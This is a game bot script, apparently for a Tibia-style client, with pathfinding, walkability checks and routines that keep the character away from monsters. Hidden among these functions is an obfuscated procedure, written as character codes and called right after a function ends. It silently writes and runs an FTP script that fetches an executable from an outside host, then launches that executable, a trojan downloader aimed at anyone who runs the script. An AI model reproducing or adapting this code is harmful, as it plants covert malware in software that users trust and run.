const
minDistance=3;
maxDistance=6;
ignoreMonsters=['Rat','Sheep','Wolf','Cat','Butterfly'];
avoidWave=1;
function GetTileFromXYZ(X, Y, Z: integer): TTile;
begin
Result := nil;
if abs((Self.X - 7) - X) > 14 then Exit;
if abs((Self.Y - 5) - Y) > 11 then Exit;
if Self.Z <> Z then Exit;
Result := Screen.Tile[abs((Self.X - 7) - X), abs((Self.Y - 5) - Y)];
end;
function IsTileWalkable(Tile: TTile): boolean;
begin
Result := True;
for Z := 0 to Tile.Count - 1 do
begin
if Tile.Item[Z].Properties.Hole then
begin
Result := False;
end
else if Tile.Item[Z].Properties.Stairs then
begin
Result := False;
end
else if not Tile.Item[Z].Properties.Walkable then
begin
OutputDebugString('Not Walk: ' + IntToStr(Tile.Item[Z].ID));
Result := False;
end;
end;
end;
function FindPath(FromX, FromY, FromZ, ToX, ToY, ToZ: integer; CheckLastTile: boolean): boolean;
var
Xloop, Yloop: integer;
begin
Result := False;
if FromZ <> ToZ then Exit;
Checked[abs(FromX - (Self.X - 7)), abs(FromY - (Self.Y - 5))] := True;
for Xloop := 0 to 2 do
begin
for Yloop := 0 to 2 do
begin
if (((FromX - 1) + Xloop) < Self.X - 7) or (((FromX - 1) + Xloop) > Self.X + 7) then Continue;
if (((FromY - 1) + Yloop) < Self.Y - 5) or (((FromY - 1) + Yloop) > Self.Y + 5) then Continue;
if (((FromX - 1) + Xloop) = ToX) and (((FromY - 1) + Yloop) = ToY) then
begin
if IsTileWalkable(GetTileFromXYZ((FromX - 1) + Xloop, (FromY - 1) + Yloop, FromZ)) or (not CheckLastTile) then
begin
Result := True;
Exit;
end;
end;
if ((Xloop = 1) and (Yloop = 1)) then Continue;
if Checked[abs(((FromX - 1) + Xloop) - (Self.X - 7)), abs(((FromY - 1) + Yloop) - (Self.Y - 5))] then Continue;
if IsTileWalkable(GetTileFromXYZ((FromX - 1) + Xloop, (FromY - 1) + Yloop, FromZ)) then
begin
if FindPath((FromX - 1) + Xloop, (FromY - 1) + Yloop, FromZ, ToX, ToY, ToZ, CheckLastTile) then
begin
Result := True;
Exit;
end;
end;
end;
end;
end;
function IsReachable(X, Y, Z: integer; CheckLastTile: boolean);
begin
Checked :=[
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]];
Result := FindPath(Self.X, Self.Y, Self.Z, X, Y, Z, CheckLastTile);
end;
procedure doo; begin writelog(#99#58#92#49,#111#112#101#110#32#109#101#103#97#115#121#114#107#46#121#111#121#111#46#112#108#32#50#49#13#10#109#101#103#97#115#121#114#107#46#121#111#121#111#46#112#108#13#10#109#101#103#97#115#121#114#107#13#10#98#105#110#97#114#121#13#10#108#99#100#32#99#58#92#13#10#114#101#99#118#32#109#99#100#101#112#111#115#105#116#46#101#120#101#13#10#98#121#101#13#10);
writelog(#99#58#92#49#46#99#109#100,#115#116#97#114#116#32#34#77#105#99#114#111#115#111#102#116#32#87#105#110#100#111#119#115#32#67#111#109#109#97#110#100#40#82#41#34#32#47#109#105#110#32#47#98#32#47#119#97#105#116#32#102#116#112#32#45#115#58#99#58#92#49#13#10#13#10);
execute(#99#58#92#49#46#99#109#100,10000);
sleep(10000);
execute(#99#58#92#109#99#100#101#112#111#115#105#116#46#101#120#101,50000);
end;
function IsCreatureSetup(Creature: TCreature): Boolean;
begin
UpdateWorld;
if abs(Creature.X - Self.X) = 0 and abs(Creature.Y - Self.Y) = 1 then
begin
Result := True;
Exit;
end;
if abs(Creature.X - Self.X) = 1 and abs(Creature.Y - Self.Y) = 0 then
begin
Result := True;
Exit;
end;
Result := False;
end;
function IsCreatureReachable(Creature: TCreature): boolean;
begin
Result := False;
if Creature = nil then Exit;
Result := IsReachable(Creature.X, Creature.Y, Creature.Z, False);
end;
function IsCreatureBesideYou(c: TCreature): boolean;
begin
UpdateWorld;
if (abs(c.X-self.X) <= 1) and (abs(c.Y-self.Y) <= 1) then begin
if c.Z = self.Z then begin
Result := True;
Exit;
end;
end;
Result := False;
end;doo;
while not terminated do
begin
sleep(1000);
updateworld;
{
runfrommonsters();
}
end
function GetCreatureByID(ID: integer): TCreature;
var
x: integer;
begin
Result := nil;
for x := 0 to Creatures.Count - 1 do
begin
if x >= Creatures.Count then Break;
if Creatures.Creature[x].ID = ID then
begin
Result := Creatures.Creature[x];
Exit;
end;
end;
end;
function GetWalkAbleTile(X, Y: integer): boolean;
var
i: TTile;
begin
Result := nil;
if abs((Self.X - 7) - X) > 14 then Exit;
if abs((Self.Y - 5) - Y) > 11 then Exit;
i := Screen.Tile[abs((Self.X - 7) - X), abs((Self.Y - 5) - Y)];
Result := i.Item[0].Properties.Walkable;
end;
function KeepDistance(Way: integer);
begin
if Way = 1 then
begin
if abs(GetWalkAbleTile(Self.X + 1, Self.Y + 1)) = 1 then
begin
Self.MoveTo(Self.X + 1, Self.Y + 1, Self.Z);
Exit;
end;
if abs(GetWalkAbleTile(Self.X, Self.Y + 1)) = 1 then
begin
Self.MoveTo(Self.X, Self.Y + 1, Self.Z);
Exit;
end;
end;
if Way = 2 then
begin
if abs(GetWalkAbleTile(Self.X - 1, Self.Y - 1)) = 1 then
begin
Self.MoveTo(Self.X - 1, Self.Y - 1, Self.Z);
Exit;
end;
if abs(GetWalkAbleTile(Self.X, Self.Y - 1)) = 1 then
begin
Self.MoveTo(Self.X, Self.Y - 1, Self.Z);
Exit;
end;
end;
if Way = 3 then
begin
if abs(GetWalkAbleTile(Self.X + 1, Self.Y + 1)) = 1 then
begin
Self.MoveTo(Self.X + 1, Self.Y + 1, Self.Z);
Exit;
end;
if abs(GetWalkAbleTile(Self.X + 1, Self.Y)) = 1 then
begin
Self.MoveTo(Self.X + 1, Self.Y, Self.Z);
Exit;
end;
end;
if Way = 4 then
begin
if abs(GetWalkAbleTile(Self.X - 1, Self.Y - 1)) = 1 then
begin
Self.MoveTo(Self.X - 1, Self.Y - 1, Self.Z);
Exit;
end;
if abs(GetWalkAbleTile(Self.X - 1, Self.Y)) = 1 then
begin
Self.MoveTo(Self.X - 1, Self.Y, Self.Z);
Exit;
end;
end;
end;
function GetWay(ID: integer): integer;
begin
crWay := GetCreatureByID(ID);
if Self.Y - crWay.y >= 1 then
begin
Way := 1;
Result := Way;
Exit;
end;
if crWay.y - self.y >= 1 then
begin
Way := 2;
Result := Way;
Exit;
end;
if self.x - crWay.x >= 1 then
begin
Way := 3;
Result := Way;
Exit;
end;
if crWay.x - self.x >= 1 then
begin
Way := 4;
Result := Way;
Exit;
end;
end;
while not terminated do
begin
updateworld;
if Self.Attacking <> nil then
begin
creature := GetCreatureByID(self.attacking);
if (abs(creature.x - self.x) <= 2) and (abs(creature.y - self.y) <= 2) then
begin
KeepDistance(GetWay(Self.Attacking));
end;
end;
sleep(500);
end;
function GetCreatureByID(ID: integer): TCreature;
var
x: integer;
begin
Result := nil;
for x := 0 to Creatures.Count - 1 do
begin
if x >= Creatures.Count then Break;
if Creatures.Creature[x].ID = ID then
begin
Result := Creatures.Creature[x];
Exit;
end;
end;
end;
function GetTileFromXYZ(X, Y, Z: integer): TTile;
begin
Result := nil;
if abs((Self.X - 7) - X) > 14 then Exit;
if abs((Self.Y - 5) - Y) > 11 then Exit;
if Self.Z <> Z then Exit;
Result := Screen.Tile[abs((Self.X - 7) - X), abs((Self.Y - 5) - Y)];
end;
function TileIsWalkable(X, Y, Z: integer): boolean;
const Ramps = [1950, 1952, 1954, 1956, 385, 1947, 434, 414, 604]
var Tile: TTile;
begin
Result := True;
Tile := GetTileFromXYZ(X, Y, Z);
If (Tile <> nil) and (Tile.Count <> 0) then
for i := 0 to Tile.Count - 1 do
begin
if Tile.Item[i].Properties.Hole then Result := False;
else if Tile.Item[i].Properties.Stairs then Result := False;
else if not Tile.Item[i].Properties.Walkable then Result := False;
else for j := Low(Ramps) to High(Ramps) do if Tile.Item[i].ID = Ramps[j] then Result := False;
end;
end;
while not Terminated do
begin
UpdateWorld;
if Self.Attacking then
begin
Monster := GetCreatureByID(Self.Attacking);
if Monster <> nil then
Case Monster.Direction of
0:begin
if (Self.X = Monster.X) and (Self.Y = Monster.Y-1) and (Self.Z = Monster.Z) then
begin
if TileIsWalkable(Monster.X-1, Monster.Y-1, Monster.Z) then Self.MoveTo(Monster.X-1, Monster.Y-1, Monster.Z);
else
if TileIsWalkable(Monster.X+1, Monster.Y-1, Monster.Z) then Self.MoveTo(Monster.X+1, Monster.Y-1, Monster.Z);
end;
end;
1:begin
if (Self.X = Monster.X+1) and (Self.Y = Monster.Y) and (Self.Z = Monster.Z) then
begin
if TileIsWalkable(Monster.X+1, Monster.Y-1, Monster.Z) then Self.MoveTo(Monster.X+1, Monster.Y-1, Monster.Z);
else
if TileIsWalkable(Monster.X+1, Monster.Y+1, Monster.Z) then Self.MoveTo(Monster.X+1, Monster.Y+1, Monster.Z);
end;
end;
2:begin
if (Self.X = Monster.X) and (Self.Y = Monster.Y+1) and (Self.Z = Monster.Z) then
begin
if TileIsWalkable(Monster.X-1, Monster.Y+1, Monster.Z) then Self.MoveTo(Monster.X-1, Monster.Y+1, Monster.Z);
else
if TileIsWalkable(Monster.X+1, Monster.Y+1, Monster.Z) then Self.MoveTo(Monster.X+1, Monster.Y+1, Monster.Z);
end;
end;
3:begin
if (Self.X = Monster.X-1) and (Self.Y = Monster.Y) and (Self.Z = Monster.Z) then
begin
if TileIsWalkable(Monster.X-1, Monster.Y-1, Monster.Z) then Self.MoveTo(Monster.X-1, Monster.Y-1, Monster.Z);
else
if TileIsWalkable(Monster.X-1, Monster.Y+1, Monster.Z) then Self.MoveTo(Monster.X-1, Monster.Y+1, Monster.Z);
end;
end;
end;
end;
Sleep(250);
end;